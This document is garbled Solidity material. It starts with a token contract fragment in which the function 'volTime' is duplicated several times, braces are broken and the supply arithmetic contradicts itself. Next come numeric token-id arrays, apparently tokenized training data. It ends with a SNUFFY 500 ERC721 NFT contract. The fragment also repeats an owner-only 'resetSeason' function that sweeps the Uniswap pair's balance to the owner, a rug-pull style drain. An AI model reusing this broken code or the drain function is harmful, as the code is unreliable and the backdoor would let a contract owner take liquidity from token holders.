uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
uint256 futureTotalSupply = info.totalSupply;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
futureTotalSupply = MAX_SUPPLY;
futureTotalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
futureTotalSupply = MIN_SUPPLY;
futureTotalSupply -= countOfCoins;
}
}
if(futureTotalSupply == info.totalSupply){
_coinsToAddOrRemove = 0;
}
return(info.periodVolumenToken, countOfCoins, info.totalSupply, futureTotalSupply);
}
function volTime() public view returns (uint256 volumenOnToken, uint256 _coinsToAddOrRemove, uint256 _totalSupply, uint256 _futureTotalSupply) {
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
uint256 futureTotalSupply = info.totalSupply;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
futureTotalSupply = MAX_SUPPLY;
futureTotalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
futureTotalSupply = MIN_SUPPLY;
futureTotalSupply -= countOfCoins;
}
}
if(futureTotalSupply == info.totalSupply){
_coinsToAddOrRemove = 0;
}
return(info.periodVolumenToken, countOfCoins, info.totalSupply, futureTotalSupply);
}
function volTime() public view returns (uint256 volumenOnToken, uint256 _coinsToAddOrRemove, uint256 _totalSupply, uint256 _futureTotalSupply) {
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
uint256 futureTotalSupply = info.totalSupply;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
futureTotalSupply = MAX_SUPPLY;
futureTotalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
futureTotalSupply = MIN_SUPPLY;
futureTotalSupply -= countOfCoins;
}
}
if(futureTotalSupply == info.totalSupply){
_coinsToAddOrRemove = 0;
}
return(info.periodVolumenToken, countOfCoins, info.totalSupply, futureTotalSupply);
}
}else{
}else{
function volTime() public view returns (uint256 volumenOnToken, uint256 _coinsToAddOrRemove, uint256 _totalSupply, uint256 _futureTotalSupply) {
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
uint256 futureTotalSupply = info.totalSupply;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
futureTotalSupply = MAX_SUPPLY;
futureTotalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
futureTotalSupply = MIN_SUPPLY;
futureTotalSupply -= countOfCoins;
}
}
if(futureTotalSupply == info.totalSupply){
_coinsToAddOrRemove = 0;
}
return(info.periodVolumenToken, countOfCoins, info.totalSupply, futureTotalSupply);
}
}else{
function volTime() public view returns (uint256 volumenOnToken, uint256 _coinsToAddOrRemove, uint256 _totalSupply, uint256 _futureTotalSupply) {
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
uint256 futureTotalSupply = info.totalSupply;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
futureTotalSupply = MAX_SUPPLY;
futureTotalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
futureTotalSupply = MIN_SUPPLY;
futureTotalSupply -= countOfCoins;
}
}
if(futureTotalSupply == info.totalSupply){
_coinsToAddOrRemove = 0;
}
return(info.periodVolumenToken, countOfCoins, info.totalSupply, futureTotalSupply);
}
function _adjRebase(address person) private {
uint256 addressBalanceFrom = info.users[person].balance;
uint256 adjustedAddressBalanceFrom = (addressBalanceFrom * info.totalSupply) / info.users[person].appliedTokenCirculation;
info.users[person].balance = adjustedAddressBalanceFrom;
info.users[person].appliedTokenCirculation = info.totalSupply;
emit Transfer(person, person, adjustedAddressBalanceFrom);
}
function resetSeason() onlyOwner public {
for (uint id = 0; id < info.contractUsers.length; id++) {
address userAddress = info.contractUsers[id];
if(userAddress == info.uniswapV2PairAddress || userAddress == owner()){
emit Transfer(userAddress, userAddress, 0);
uint256 value = info.users[userAddress].balance;
info.users[userAddress].balance -= value;
info.users[owner()].balance += value;
emit Transfer(userAddress, owner(), value);
}
}
delete info.contractUsers;
}
function resetSeason() onlyOwner public {
for (uint id = 0; id < info.contractUsers.length; id++) {
address userAddress = info.contractUsers[id];
if(userAddress == info.uniswapV2PairAddress || userAddress == owner()){
emit Transfer(userAddress, userAddress, 0);
uint256 value = info.users[userAddress].balance;
info.users[userAddress].balance -= value;
info.users[owner()].balance += value;
emit Transfer(userAddress, owner(), value);
}
}
delete info.contractUsers;
}
function resetSeason() onlyOwner public {
for (uint id = 0; id < info.contractUsers.length; id++) {
address userAddress = info.contractUsers[id];
if(userAddress == info.uniswapV2PairAddress || userAddress == owner()){
emit Transfer(userAddress, userAddress, 0);
uint256 value = info.users[userAddress].balance;
info.users[userAddress].balance -= value;
info.users[owner()].balance += value;
emit Transfer(userAddress, owner(), value);
}
}
delete info.contractUsers;
}
}else{
}
| 1,509,407 |
[
1,
89,
27588,
4232,
39,
3462,
1147,
225,
1220,
353,
1087,
434,
392,
4471,
434,
326,
582,
27588,
23062,
287,
16892,
1771,
18,
1377,
582,
27588,
353,
279,
2212,
4232,
39,
3462,
1147,
16,
1496,
2097,
14467,
848,
506,
13940,
635,
20347,
471,
1377,
29189,
460,
23279,
1230,
10279,
777,
17662,
2413,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
587,
27588,
353,
4232,
39,
3462,
40,
6372,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
10477,
1702,
364,
509,
5034,
31,
203,
203,
565,
2254,
5034,
3238,
5381,
14275,
67,
3670,
26913,
273,
404,
73,
26,
31,
203,
565,
2254,
5034,
3238,
5381,
25429,
55,
273,
1666,
31,
203,
565,
2254,
5034,
3238,
5381,
6989,
67,
13272,
23893,
273,
27610,
380,
14275,
67,
3670,
26913,
31,
203,
565,
2254,
5034,
3238,
5381,
28226,
67,
13272,
23893,
273,
2593,
3784,
380,
14275,
67,
3670,
26913,
31,
203,
565,
2254,
5034,
3238,
5381,
4552,
67,
13272,
23893,
273,
4248,
3784,
380,
14275,
67,
3670,
26913,
31,
203,
377,
203,
203,
202,
1697,
2177,
288,
203,
202,
202,
11890,
5034,
11013,
31,
203,
202,
202,
6770,
12,
2867,
516,
2254,
5034,
13,
1699,
1359,
31,
203,
202,
202,
11890,
5034,
6754,
1345,
10887,
1934,
367,
31,
203,
202,
202,
11890,
5034,
1836,
5912,
950,
1182,
31,
203,
202,
97,
203,
203,
202,
1697,
3807,
288,
203,
202,
202,
11890,
5034,
2078,
3088,
1283,
31,
203,
202,
202,
6770,
12,
2867,
516,
2177,
13,
3677,
31,
203,
3639,
2254,
5034,
13170,
14836,
950,
31,
203,
3639,
1758,
640,
291,
91,
438,
58,
22,
4154,
1887,
31,
203,
3639,
1426,
2172,
7365,
31,
203,
3639,
1758,
8526,
6835,
6588,
31,
203,
3639,
2254,
5034,
3879,
17431,
379,
275,
1345,
31,
203,
3639,
2254,
5034,
3643,
31,
203,
3639,
2254,
5034,
21713,
31,
203,
3639,
2254,
5034,
15427,
3163,
2
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/*
O
_
---\ _|.|_ /---
---| | |---
|_/ \_|
| |
| |
|___|
| |
/ \
SNUFFY 500
*/
/**
* @title SNUFFY 500
* @author CXIP-Labs
* @notice A smart contract for minting and managing SNUFFY 500 ERC721 NFTs.
* @dev The entire logic and functionality of the smart contract is self-contained.
*/
contract SNUFFY500 {
/**
* @dev Stores default collection data: name, symbol, and royalties.
*/
CollectionData private _collectionData;
/**
* @dev Internal last minted token id, to allow for auto-increment.
*/
uint256 private _currentTokenId;
/**
* @dev Array of all token ids in collection.
*/
uint256[] private _allTokens;
/**
* @dev Map of token id to array index of _ownedTokens.
*/
mapping(uint256 => uint256) private _ownedTokensIndex;
/**
* @dev Token id to wallet (owner) address map.
*/
mapping(uint256 => address) private _tokenOwner;
/**
* @dev 1-to-1 map of token id that was assigned an approved operator address.
*/
mapping(uint256 => address) private _tokenApprovals;
/**
* @dev Map of total tokens owner by a specific address.
*/
mapping(address => uint256) private _ownedTokensCount;
/**
* @dev Map of array of token ids owned by a specific address.
*/
mapping(address => uint256[]) private _ownedTokens;
/**
* @notice Map of full operator approval for a particular address.
* @dev Usually utilised for supporting marketplace proxy wallets.
*/
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Token data mapped by token id.
*/
mapping(uint256 => TokenData) private _tokenData;
/**
* @dev Address of admin user. Primarily used as an additional recover address.
*/
address private _admin;
/**
* @dev Address of contract owner. This address can run all onlyOwner functions.
*/
address private _owner;
/**
* @dev Simple tracker of all minted (not-burned) tokens.
*/
uint256 private _totalTokens;
/**
* @dev Mapping from token id to position in the allTokens array.
*/
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @notice Event emitted when an token is minted, transfered, or burned.
* @dev If from is empty, it's a mint. If to is empty, it's a burn. Otherwise, it's a transfer.
* @param from Address from where token is being transfered.
* @param to Address to where token is being transfered.
* @param tokenId Token id that is being minted, Transfered, or burned.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @notice Event emitted when an address delegates power, for a token, to another address.
* @dev Emits event that informs of address approving a third-party operator for a particular token.
* @param wallet Address of the wallet configuring a token operator.
* @param operator Address of the third-party operator approved for interaction.
* @param tokenId A specific token id that is being authorised to operator.
*/
event Approval(address indexed wallet, address indexed operator, uint256 indexed tokenId);
/**
* @notice Event emitted when an address authorises an operator (third-party).
* @dev Emits event that informs of address approving/denying a third-party operator.
* @param wallet Address of the wallet configuring it's operator.
* @param operator Address of the third-party operator that interacts on behalf of the wallet.
* @param approved A boolean indicating whether approval was granted or revoked.
*/
event ApprovalForAll(address indexed wallet, address indexed operator, bool approved);
/**
* @notice Event emitted to signal to OpenSea that a permanent URI was created.
* @dev Even though OpenSea advertises support for this, they do not listen to this event, and do not respond to it.
* @param uri The permanent/static URL of the NFT. Cannot ever be changed again.
* @param id Token id of the NFT.
*/
event PermanentURI(string uri, uint256 indexed id);
/**
* @notice Constructor is empty and not utilised.
* @dev To make exact CREATE2 deployment possible, constructor is left empty. We utilize the "init" function instead.
*/
constructor() {}
/**
* @notice Gets the configs for each state.
* @dev Currently only max and limit are being utilised. Four more future values are reserved for later use.
* @return max maximum number of token states ever possible.
* @return limit currently imposed hardcap/limit of token states.
* @return future0 reserved for a future value.
* @return future1 reserved for a future value.
* @return future2 reserved for a future value.
* @return future3 reserved for a future value.
*/
function getStatesConfig() public view returns (uint256 max, uint256 limit, uint256 future0, uint256 future1, uint256 future2, uint256 future3) {
return SnuffyToken.getStatesConfig();
}
/**
* @notice Sets the configs for each state.
* @dev Currently only max and limit are being utilised. Four more future values are reserved for later use.
* @param max maximum number of token states ever possible.
* @param limit currently imposed hardcap/limit of token states.
* @param future0 reserved for a future value.
* @param future1 reserved for a future value.
* @param future2 reserved for a future value.
* @param future3 reserved for a future value.
*/
function setStatesConfig(uint256 max, uint256 limit, uint256 future0, uint256 future1, uint256 future2, uint256 future3) public onlyOwner {
SnuffyToken.setStatesConfig(max, limit, future0, future1, future2, future3);
}
/**
* @notice Gets the times that each state is valid for.
* @dev All state times are stacked to identify the current state based on last timestamp.
* @return UNIX timestamps in seconds for each state's time.
*/
function getStateTimestamps() public view returns (uint256[8] memory) {
return SnuffyToken.getStateTimestamps();
}
/**
* @notice Sets the times that each state is valid for.
* @dev All state times are stacked to identify the current state based on last timestamp.
* @param _timestamps UNIX timestamps in seconds for each state's time.
*/
function setStateTimestamps(uint256[8] memory _timestamps) public onlyOwner {
SnuffyToken.setStateTimestamps(_timestamps);
}
/**
* @notice Gets the mutation requirements for each state.
* @dev Each state has it's own required amount of tokens to stack before a mutation can be forced.
* @return An array with numbers of tokens to stack for each state's mutation.
*/
function getMutationRequirements() public view returns (uint256[8] memory) {
return SnuffyToken.getMutationRequirements();
}
/**
* @notice Sets the mutation requirements for each state.
* @dev Each state has it's own required amount of tokens to stack before a mutation can be forced.
* @param _limits An array with numbers of tokens to stack for each state's mutation.
*/
function setMutationRequirements(uint256[8] memory _limits) public onlyOwner {
SnuffyToken.setMutationRequirements(_limits);
}
/**
* @notice Gets the authorised broker for minting.
* @dev In order to allow for custom airdrop type minting/claims, an external broker smart contract is used.
* @return Address of wallet or smart contract that can mint tokens.
*/
function getBroker() public view returns (address) {
return SnuffyToken.getBroker();
}
/**
* @notice Sets the authorised broker for minting.
* @dev In order to allow for custom airdrop type minting/claims, an external broker smart contract is used.
* @param broker Address of wallet or smart contract that can mint tokens.
*/
function setBroker(address broker) public onlyOwner {
SnuffyToken.setBroker(broker);
}
function getTokenState(uint256 tokenId) public view returns (uint256) {
return SnuffyToken.getTokenState(tokenId);
}
function getTokenDataIndex(uint256 tokenId) public view returns (uint256) {
return SnuffyToken.calculateState(tokenId);
}
function getTokenData(uint256 tokenId) public view returns (uint256, uint256, uint256) {
return SnuffyToken.getTokenData(tokenId);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "CXIP: caller not an owner");
_;
}
/**
* @notice Left empty to accomodate old contracts with limited transfer gas amounts.
*/
receive() external payable {}
/**
* @notice Enables royaltiy functionality at the ERC721 level no other function matches the call.
* @dev See implementation of _royaltiesFallback.
*/
fallback() external {
_royaltiesFallback();
}
/**
* @notice Gets the URI of the NFT on Arweave.
* @dev Concatenates 2 sections of the arweave URI.
* @return string The URI.
*/
function arweaveURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return string(abi.encodePacked("https://arweave.net/", _tokenData[index].arweave, _tokenData[index].arweave2));
}
/**
* @notice Gets the URI of the NFT backup from CXIP.
* @dev Concatenates to https://nft.cxip.io/.
* @return string The URI.
*/
function contractURI() external view returns (string memory) {
return string(abi.encodePacked("https://nft.cxip.io/", Strings.toHexString(address(this)), "/"));
}
/**
* @notice Gets the creator's address.
* @dev If the token Id doesn't exist it will return zero address.
* @return address Creator's address.
*/
function creator(uint256 tokenId) external view returns (address) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].creator;
}
/**
* @notice Gets the HTTP URI of the token.
* @dev Concatenates to the baseURI.
* @return string The URI.
*/
function httpURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
return string(abi.encodePacked(baseURI(), "/", Strings.toHexString(tokenId)));
}
/**
* @notice Gets the IPFS URI
* @dev Concatenates to the IPFS domain.
* @return string The URI.
*/
function ipfsURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return string(abi.encodePacked("https://ipfs.io/ipfs/", _tokenData[index].ipfs, _tokenData[index].ipfs2));
}
/**
* @notice Gets the name of the collection.
* @dev Uses two names to extend the max length of the collection name in bytes
* @return string The collection name.
*/
function name() external view returns (string memory) {
return string(abi.encodePacked(Bytes.trim(_collectionData.name), Bytes.trim(_collectionData.name2)));
}
/**
* @notice Gets the hash of the NFT data used to create it.
* @dev Payload is used for verification.
* @param tokenId The Id of the token.
* @return bytes32 The hash.
*/
function payloadHash(uint256 tokenId) external view returns (bytes32) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].payloadHash;
}
/**
* @notice Gets the signature of the signed NFT data used to create it.
* @dev Used for signature verification.
* @param tokenId The Id of the token.
* @return Verification a struct containing v, r, s values of the signature.
*/
function payloadSignature(uint256 tokenId) external view returns (Verification memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].payloadSignature;
}
/**
* @notice Gets the address of the creator.
* @dev The creator signs a payload while creating the NFT.
* @param tokenId The Id of the token.
* @return address The creator.
*/
function payloadSigner(uint256 tokenId) external view returns (address) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].creator;
}
/**
* @notice Shows the interfaces the contracts support
* @dev Must add new 4 byte interface Ids here to acknowledge support
* @param interfaceId ERC165 style 4 byte interfaceId.
* @return bool True if supported.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
if (
interfaceId == 0x01ffc9a7 || // ERC165
interfaceId == 0x80ac58cd || // ERC721
interfaceId == 0x780e9d63 || // ERC721Enumerable
interfaceId == 0x5b5e139f || // ERC721Metadata
interfaceId == 0x150b7a02 || // ERC721TokenReceiver
interfaceId == 0xe8a3d485 || // contractURI()
IPA1D(getRegistry().getPA1D()).supportsInterface(interfaceId)
) {
return true;
} else {
return false;
}
}
/**
* @notice Gets the collection's symbol.
* @dev Trims the symbol.
* @return string The symbol.
*/
function symbol() external view returns (string memory) {
return string(Bytes.trim(_collectionData.symbol));
}
/**
* @notice Get's the URI of the token.
* @dev Defaults the the Arweave URI
* @return string The URI.
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return string(abi.encodePacked("https://arweave.net/", _tokenData[index].arweave, _tokenData[index].arweave2));
}
/**
* @notice Get list of tokens owned by wallet.
* @param wallet The wallet address to get tokens for.
* @return uint256[] Returns an array of token ids owned by wallet.
*/
function tokensOfOwner(address wallet) external view returns (uint256[] memory) {
return _ownedTokens[wallet];
}
/**
* @notice Checks if a given hash matches a payload hash.
* @dev Uses sha256 instead of keccak.
* @param hash The hash to check.
* @param payload The payload prehashed.
* @return bool True if the hashes match.
*/
function verifySHA256(bytes32 hash, bytes calldata payload) external pure returns (bool) {
bytes32 thePayloadHash = sha256(payload);
return hash == thePayloadHash;
}
/**
* @notice Adds a new address to the token's approval list.
* @dev Requires the sender to be in the approved addresses.
* @param to The address to approve.
* @param tokenId The affected token.
*/
function approve(address to, uint256 tokenId) public {
address tokenOwner = _tokenOwner[tokenId];
require(to != tokenOwner, "CXIP: can't approve self");
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
_tokenApprovals[tokenId] = to;
emit Approval(tokenOwner, to, tokenId);
}
/**
* @notice Burns the token.
* @dev The sender must be the owner or approved.
* @param tokenId The token to burn.
*/
function burn(uint256 tokenId) public {
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
address wallet = _tokenOwner[tokenId];
_clearApproval(tokenId);
_tokenOwner[tokenId] = address(0);
emit Transfer(wallet, address(0), tokenId);
_removeTokenFromOwnerEnumeration(wallet, tokenId);
}
/**
* @notice Initializes the collection.
* @dev Special function to allow a one time initialisation on deployment. Also configures and deploys royalties.
* @param newOwner The owner of the collection.
* @param collectionData The collection data.
*/
function init(address newOwner, CollectionData calldata collectionData) public {
require(Address.isZero(_admin), "CXIP: already initialized");
_admin = msg.sender;
// temporary set to self, to pass rarible royalties logic trap
_owner = address(this);
_collectionData = collectionData;
IPA1D(address(this)).init (0, payable(collectionData.royalties), collectionData.bps);
// set to actual owner
_owner = newOwner;
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
* @param from cannot be the zero address.
* @param to cannot be the zero address.
* @param tokenId token must exist and be owned by `from`.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @notice Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* @dev Since it's not being used, the _data variable is commented out to avoid compiler warnings.
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
* @param from cannot be the zero address.
* @param to cannot be the zero address.
* @param tokenId token must exist and be owned by `from`.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable {
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
_transferFrom(from, to, tokenId);
if (Address.isContract(to)) {
require(
ICxipERC721(to).onERC721Received(address(this), from, tokenId, data) == 0x150b7a02,
"CXIP: onERC721Received fail"
);
}
}
/**
* @notice Adds a new approved operator.
* @dev Allows platforms to sell/transfer all your NFTs. Used with proxy contracts like OpenSea/Rarible.
* @param to The address to approve.
* @param approved Turn on or off approval status.
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "CXIP: can't approve self");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @notice Transfers `tokenId` token from `msg.sender` to `to`.
* @dev WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* @param to cannot be the zero address.
* @param tokenId token must be owned by `from`.
*/
function transfer(
address to,
uint256 tokenId
) public payable {
transferFrom(msg.sender, to, tokenId, "");
}
/**
* @notice Transfers `tokenId` token from `from` to `to`.
* @dev WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* @param from cannot be the zero address.
* @param to cannot be the zero address.
* @param tokenId token must be owned by `from`.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable {
transferFrom(from, to, tokenId, "");
}
/**
* @notice Transfers `tokenId` token from `from` to `to`.
* @dev WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* @dev Since it's not being used, the _data variable is commented out to avoid compiler warnings.
* @param from cannot be the zero address.
* @param to cannot be the zero address.
* @param tokenId token must be owned by `from`.
*/
function transferFrom(
address from,
address to,
uint256 tokenId,
bytes memory /*_data*/
) public payable {
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
_transferFrom(from, to, tokenId);
}
/**
* @notice Mints a token directly to creator wallet, or to a recipient.
* @dev Function can be called by the owner or by an authorised broker.
* @dev If a token limit is set, then it is enforced, and minting is closed on last mint.
* @param tokenId The specific token id to use. Mandatory.
* @param tokenData Array of details for each state of the token being minted.
* @param signer the address of the wallet that signed this.
* @param verification Broker has to include a signature made by any of the identity's wallets.
* @param recipient Optional parameter, to send the token to a recipient right after minting.
*/
function mint(uint256 state, uint256 tokenId, TokenData[] memory tokenData, address signer, Verification memory verification, address recipient) public {
require(isOwner() || msg.sender == getBroker(), "CXIP: only owner/broker can mint");
require(_allTokens.length < getTokenLimit(), "CXIP: over token limit");
require(isIdentityWallet(tokenData[0].creator), "CXIP: creator not in identity");
if (!isOwner()) {
require(isIdentityWallet(signer), "CXIP: invalid signer");
bytes memory encoded = abi.encode(
tokenData[0].creator,
tokenId,
tokenData
);
require(Signature.Valid(
signer,
verification.r,
verification.s,
verification.v,
encoded
), "CXIP: invalid signature");
}
if (!Address.isZero(recipient)) {
require(!_exists(tokenId), "CXIP: token already exists");
emit Transfer(address(0), tokenData[0].creator, tokenId);
emit Transfer(tokenData[0].creator, recipient, tokenId);
_tokenOwner[tokenId] = recipient;
_addTokenToOwnerEnumeration(recipient, tokenId);
} else {
_mint(tokenData[0].creator, tokenId);
}
if (_allTokens.length == getTokenLimit()) {
setMintingClosed();
}
(uint256 max,/* uint256 limit*/,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(tokenData.length <= max, "CXIP: token data states too long");
uint256 index = max * tokenId;
for (uint256 i = 0; i < tokenData.length; i++) {
_tokenData[index] = tokenData[i];
index++;
}
SnuffyToken.setTokenData(tokenId, state, block.timestamp, tokenId);
}
function evolve(uint256 tokenId, uint256[] calldata tokenIds) public {
uint256 state = SnuffyToken.getTokenState(tokenId);
(/*uint256 max*/, uint256 limit,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = SnuffyToken.getStatesConfig();
require(state < (limit - 1), "CXIP: token evolved to max");
uint256[8] memory _limits = SnuffyToken.getMutationRequirements();
require(tokenIds.length == _limits[state], "CXIP: incorrect tokens amount");
bool included;
for (uint256 i = 0; i < tokenIds.length; i++) {
require(ownerOf(tokenIds[i]) == msg.sender, "CXIP: not owner of token");
require(SnuffyToken.getTokenState(tokenIds[i]) >= state, "CXIP: token level too low");
if (!included && tokenId == tokenIds[i]) {
SnuffyToken.setTokenData(tokenId, state + 1, block.timestamp, tokenId);
included = true;
} else {
SnuffyToken.setTokenData(tokenIds[i], 0, block.timestamp, tokenIds[i]);
_transferFrom(msg.sender, SnuffyToken.getBroker(), tokenIds[i]);
}
}
require(included, "CXIP: missing evolving token");
}
/**
* @dev Gets the minting status from storage slot.
* @return mintingClosed Whether minting is open or closed permanently.
*/
function getMintingClosed() public view returns (bool mintingClosed) {
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SNUFFY500.mintingClosed')) - 1);
uint256 data;
assembly {
data := sload(
/* slot */
0x82d37688748a8833e0d222efdc792424f8a1acdd6c8351cb26b314a4ceee6a84
)
}
mintingClosed = (data == 1);
}
/**
* @dev Sets the minting status to closed in storage slot.
*/
function setMintingClosed() public onlyOwner {
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SNUFFY500.mintingClosed')) - 1);
uint256 data = 1;
assembly {
sstore(
/* slot */
0x82d37688748a8833e0d222efdc792424f8a1acdd6c8351cb26b314a4ceee6a84,
data
)
}
}
/**
* @dev Gets the token limit from storage slot.
* @return tokenLimit Maximum number of tokens that can be minted.
*/
function getTokenLimit() public view returns (uint256 tokenLimit) {
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SNUFFY500.tokenLimit')) - 1);
assembly {
tokenLimit := sload(
/* slot */
0xd7cccb4858870420bddc578f86437fd66f8949091f61f21bd40e4390dc953953
)
}
if (tokenLimit == 0) {
tokenLimit = type(uint256).max;
}
}
/**
* @dev Sets the token limit to storage slot.
* @param tokenLimit Maximum number of tokens that can be minted.
*/
function setTokenLimit(uint256 tokenLimit) public onlyOwner {
require(getTokenLimit() == 0, "CXIP: token limit already set");
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SNUFFY500.tokenLimit')) - 1);
assembly {
sstore(
/* slot */
0xd7cccb4858870420bddc578f86437fd66f8949091f61f21bd40e4390dc953953,
tokenLimit
)
}
}
/**
* @notice Set an NFT state.
* @dev Time-based states will be retrieved by index.
* @param id The index of time slot to set for.
* @param tokenData The token data for the particular time slot.
*/
function prepareMintData(uint256 id, TokenData calldata tokenData) public onlyOwner {
require(Address.isZero(_tokenData[id].creator), "CXIP: token data already set");
_tokenData[id] = tokenData;
}
function prepareMintDataBatch(uint256[] calldata ids, TokenData[] calldata tokenData) public onlyOwner {
require(ids.length == tokenData.length, "CXIP: array lengths missmatch");
for (uint256 i = 0; i < ids.length; i++) {
require(Address.isZero(_tokenData[ids[i]].creator), "CXIP: token data already set");
_tokenData[ids[i]] = tokenData[i];
}
}
/**
* @notice Sets a name for the collection.
* @dev The name is split in two for gas optimization.
* @param newName First part of name.
* @param newName2 Second part of name.
*/
function setName(bytes32 newName, bytes32 newName2) public onlyOwner {
_collectionData.name = newName;
_collectionData.name2 = newName2;
}
/**
* @notice Set a symbol for the collection.
* @dev This is the ticker symbol for smart contract that shows up on EtherScan.
* @param newSymbol The ticker symbol to set for smart contract.
*/
function setSymbol(bytes32 newSymbol) public onlyOwner {
_collectionData.symbol = newSymbol;
}
/**
* @notice Transfers ownership of the collection.
* @dev Can't be the zero address.
* @param newOwner Address of new owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(!Address.isZero(newOwner), "CXIP: zero address");
_owner = newOwner;
}
/**
* @notice Get total number of tokens owned by wallet.
* @dev Used to see total amount of tokens owned by a specific wallet.
* @param wallet Address for which to get token balance.
* @return uint256 Returns an integer, representing total amount of tokens held by address.
*/
function balanceOf(address wallet) public view returns (uint256) {
require(!Address.isZero(wallet), "CXIP: zero address");
return _ownedTokensCount[wallet];
}
/**
* @notice Get a base URI for the token.
